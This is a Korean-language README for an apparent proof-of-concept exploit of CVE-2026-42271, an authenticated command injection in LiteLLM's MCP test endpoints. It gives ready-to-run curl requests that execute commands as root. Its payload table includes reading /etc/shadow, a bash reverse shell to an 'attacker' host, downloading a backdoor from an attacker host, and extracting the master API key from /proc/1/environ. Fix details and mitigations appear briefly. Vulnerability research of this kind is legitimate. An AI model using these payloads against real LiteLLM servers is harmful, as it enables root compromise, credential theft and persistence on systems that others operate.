
해당 취약점을 직접 재현하기 위한 코드
LiteLLM
POST /mcp-rest/test/connection및POST /mcp-rest/test/tools/list— MCP stdio 전송 방식을 통한 인증된 명령 주입. 유효한 API 키만 있으면 (기본 Docker 배포에서) root 권한으로 임의의 OS 명령을 실행할 수 있습니다.이미지는 digest로 고정됨: 취약한 컨테이너는 LiteLLM v1.82.6으로 고정되어 장기간 재현이 가능합니다.
| 필드 | 값 |
|---|---|
| CVE | CVE-2026-42271 |
| CVSS v4.0 | 8.7 (HIGH) — CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-77 / CWE-78 (OS 명령 주입) |
| 영향받는 버전 | LiteLLM >= 1.74.2, < 1.83.7 |
| 수정 버전 | v1.83.7+ (명령어 화이트리스트 + PROXY_ADMIN 역할 검사 추가됨) |
| 공개일 | 2026-05-08 |
| 고정 버전 | v1.82.6 — 이미지가 digest로 고정되어 장기간 재현 가능 |
| 링크 | GHSA-v4p8-mg3p-g94g • NVD • GitLab Advisory |
저장하기 전에 MCP 서버를 미리 보는 데 사용되는 두 엔드포인트 — POST /mcp-rest/test/connection 및 POST /mcp-rest/test/tools/list — 는 요청 본문에 stdio 전송에서 사용되는 command, args, env 필드를 포함한 전체 MCP 서버 구성을 허용합니다.
stdio 구성으로 호출하면 엔드포인트는 프록시 호스트에서 제공된 명령을 프록시 프로세스의 권한 (기본 Docker에서는 root) 으로 하위 프로세스(subprocess) 로 실행합니다.
핵심 문제: 엔드포인트는 역할 검사 없이 유효한 프록시 API 키만 확인합니다. 따라서 낮은 권한의 internal_user 키로도 이를 악용할 수 있습니다.
# 1. Start a vulnerable LiteLLM instance (pinned to v1.82.6)
docker compose up -d
# 2. Run the exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" --cmd "id"
# Or use curl directly (blind RCE — response may show error but command executes)
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/mcp-rest/test/tools/list \
-d '{
"transport": "stdio",
"command": "bash",
"args": ["-c", "id > /tmp/pwned"]
}'
# Check that the command executed inside the container
docker exec litellm-cve cat /tmp/pwned
# Output: uid=0(root) gid=0(root) groups=0(root),0(root),...
API는 "Failed to connect to MCP server"를 반환합니다. 생성된 프로세스가 MCP 프로토콜을 사용하지 않기 때문입니다. 그러나 명령은 이미 root 권한으로 실행되었습니다.
| 시나리오 | 페이로드 |
|---|---|
| 기본 RCE | "args": ["-c", "id > /tmp/pwned"] |
| 파일 읽기 | "args": ["-c", "cat /etc/shadow > /tmp/out"] |
| 환경 변수 유출 | `"args": ["-c", "cat /proc/1/environ |
| 리버스 셸 | "args": ["-c", "bash -i >& /dev/tcp/attacker/4444 0>&1"] |
| 지속성 | "args": ["-c", "curl http://attacker/malware -o /tmp/backdoor && chmod +x /tmp/backdoor"] |
POST /mcp-rest/test/connectionMCP 서버 연결을 테스트합니다. stdio 전송 방식을 사용하면 제공된 명령을 실행합니다.
POST /mcp-rest/test/tools/list테스트 MCP 서버의 도구 목록을 나열합니다. 동일한 동작 — stdio 전송 방식을 사용할 때 제공된 명령을 실행합니다.
{
"transport": "stdio",
"command": "bash",
"args": ["-c", "<malicious command>"],
"env": {
"PATH": "/usr/bin:/bin"
}
}
| 필드 | 유형 | 필수 | 설명 |
|---|---|---|---|
transport | string | 예 | 명령 주입을 위해서는 "stdio"여야 함 |
command | string | 예 | 실행할 실행 파일 (예: bash, python, curl) |
args | array | 예 | 명령에 전달되는 인수 |
env | object | 아니요 | 하위 프로세스의 환경 변수 |
이 수정은 두 가지 방어 계층을 추가했습니다:
validate_transport_fields()를 통한 명령어 화이트리스트 — 허용 목록: npx, uvx, python, python3, node, docker, denoPROXY_ADMIN 역할이 필요CVE-2026-42271/
├── README.md # This file
├── docker-compose.yml # One-command vulnerable environment (pinned to v1.82.6)
├── requirements.txt # Dependencies
├── exploit/
│ ├── exploit.py # Full exploit script
│ └── payload.py # Payload generation module
├── docs/
│ └── advisory.md # Advisory reference
└── screenshots/ # Proof screenshots
PROXY_ADMIN 역할 검사)/mcp-rest/test/connection 및 /mcp-rest/test/tools/list 차단docker run --user 1000:1000 ...5.7절 (프로세스 환경 변수 추출) 을 재현할 때 주의하세요: MCP Python SDK v1.25.0+ 는 stdio 하위 프로세스를 생성할 때 LiteLLM 부모 프로세스의 환경 변수를 상속하지 않습니다. SDK는 get_default_environment()를 통해 HOME과 PATH만 전달한 후 사용자가 명시적으로 지정한 env 필드를 병합합니다.
따라서 env > /tmp/env_dump로는 LITELLM_MASTER_KEY를 캡처할 수 없습니다.
올바른 방법: LiteLLM 메인 프로세스의 /proc/1/environ을 읽어 환경 변수를 추출합니다:
# 提取环境变量(通过 /proc/1/environ)
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/mcp-rest/test/tools/list \
-d '{
"transport": "stdio",
"command": "bash",
"args": ["-c", "cat /proc/1/environ | tr \"\\0\" \"\\n\" > /tmp/env_dump"]
}'
# 查看结果
docker exec litellm-cve cat /tmp/env_dump | grep -E "LITELLM|MASTER"
# 输出: LITELLM_MASTER_KEY=sk-litellm-master-key
자세한 내용은 재현 보고서 5.7절을 참조하세요.
면책 조항: 이 콘텐츠는 교육 목적 및 승인된 보안 테스트용으로만 제공됩니다.